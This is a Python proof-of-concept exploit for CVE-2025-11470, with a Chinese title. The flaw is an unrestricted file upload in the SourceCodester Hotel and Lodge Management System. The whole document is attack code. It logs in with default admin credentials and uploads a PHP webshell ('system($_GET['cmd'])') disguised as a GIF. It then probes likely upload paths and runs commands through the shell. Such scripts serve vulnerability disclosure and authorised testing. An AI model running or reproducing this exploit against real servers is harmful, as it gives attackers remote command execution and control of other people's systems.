CVE-2025-11470 SourceCodester酒店管理系统任意文件上传漏洞

# CVE-2025-11470 PoC - SourceCodester Hotel and Lodge Management System # Unrestricted File Upload in /manage_website.php import requests from requests_toolbelt.multipart.encoder import MultipartEncoder TARGET_URL = "http://target.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/login.php" UPLOAD_URL = f"{TARGET_URL}/manage_website.php" USERNAME = "admin" PASSWORD = "admin123" # Create a malicious PHP webshell disguised as an image # GIF89a header + PHP code WEBSHELL_CONTENT = b"GIF89a;\n<?php system($_GET['cmd']); ?>" session = requests.Session() # Step 1: Login as administrator login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } login_response = session.post(ADMIN_LOGIN_URL, data=login_data) print(f"[*] Login Status: {login_response.status_code}") # Step 2: Upload malicious file via website_image parameter multipart_data = MultipartEncoder( fields={ "website_image": ("shell.php", WEBSHELL_CONTENT, "image/gif"), "back_login_image": ("back.php", WEBSHELL_CONTENT, "image/gif"), "update": "Update" } ) headers = { "Content-Type": multipart_data.content_type, "Referer": UPLOAD_URL } upload_response = session.post(UPLOAD_URL, data=multipart_data, headers=headers) print(f"[*] Upload Status: {upload_response.status_code}") # Step 3: Access the uploaded webshell # Common upload paths to try upload_paths = [ f"{TARGET_URL}/uploads/shell.php?cmd=id", f"{TARGET_URL}/upload/shell.php?cmd=id", f"{TARGET_URL}/images/shell.php?cmd=id", f"{TARGET_URL}/shell.php?cmd=id" ] for path in upload_paths: try: shell_response = session.get(path, timeout=5) if shell_response.status_code == 200 and "uid=" in shell_response.text: print(f"[+] Shell found at: {path}") print(f"[+] Output: {shell_response.text}") break except Exception as e: continue